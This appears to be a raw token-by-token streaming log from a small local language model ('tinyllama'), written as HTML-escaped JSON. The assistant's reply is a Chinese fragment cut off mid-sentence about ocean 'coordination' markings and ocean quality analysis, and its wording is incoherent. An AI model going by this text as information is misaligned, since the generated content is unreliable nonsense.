{\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:45.946226806Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;，\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:46.002160152Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;如\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:46.04924667Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;果\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:46.2240039Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;您\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:46.377017712Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;掃\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:46.526418313Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;標\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:46.581922815Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;記\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:46.638788414Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;中\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:46.716666554Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;出\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:46.771775186Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;现\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:46.827637034Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;任\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:46.884678511Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;何\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:47.056729633Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;類\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:47.112595446Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;型\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:47.167758953Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;的\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:47.223585423Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;海\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:47.278657775Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;洋\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:47.460453332Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;協\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:47.612338499Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;調\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:47.668927876Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;，\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:47.83565467Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;則\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:47.890870501Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;可\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:47.958800014Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;以\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:48.014247774Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;在\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:48.180573337Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;話\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:48.233265548Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;合\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:48.293579106Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;系\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:48.470442351Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;統\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:48.524146683Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;上\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:48.579132286Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;進\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:48.635212028Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;行\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:48.691767174Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;相\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:48.749495293Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;容\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:48.821072489Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;。\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:48.876948601Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;\\n\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:48.933542765Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;\\n\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:48.990958388Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;我\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:49.150132273Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;們\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:49.193027635Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;的\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:49.353961177Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;組\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:49.409500295Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;隊\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:49.465577658Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;提\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:49.618005244Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;供\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:49.663675012Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;了\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:49.847991133Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;兩\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:49.903354941Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;大\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:50.069745846Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;範\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:50.235834312Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;圍\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:50.280296395Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;的\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:50.338341232Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;海\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:50.384966775Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;洋\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:50.534257415Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;質\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:50.598480366Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;量\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:50.658399209Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;分\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:50.825472317Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;析\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:50.881999363Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;和\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:51.060260111Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;視\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:51.206771794Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;覺\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:51.25040038Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;化\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:51.402416731Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;輔\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:51.446927802Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;助\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:51.483152451Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;，\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:51.609687786Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;將\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:51.739720579Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;質\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:51.791941667Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;量\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:51.842184674Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;分\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:51.962387575Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;析\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:52.012753895Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;方\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:52.063623859Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;法\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:52.184295044Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;變\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:52.234138477Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;更\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:52.282452027Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;成\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:52.330555154Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;一\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:52.445360836Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;般\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:52.493390415Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;，\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:52.609204584Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;透\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:52.708487397Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;過\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:52.839217579Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;您\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:52.887625359Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;在\u0026#34;},\u0026#34;done\u0026#34;:false} 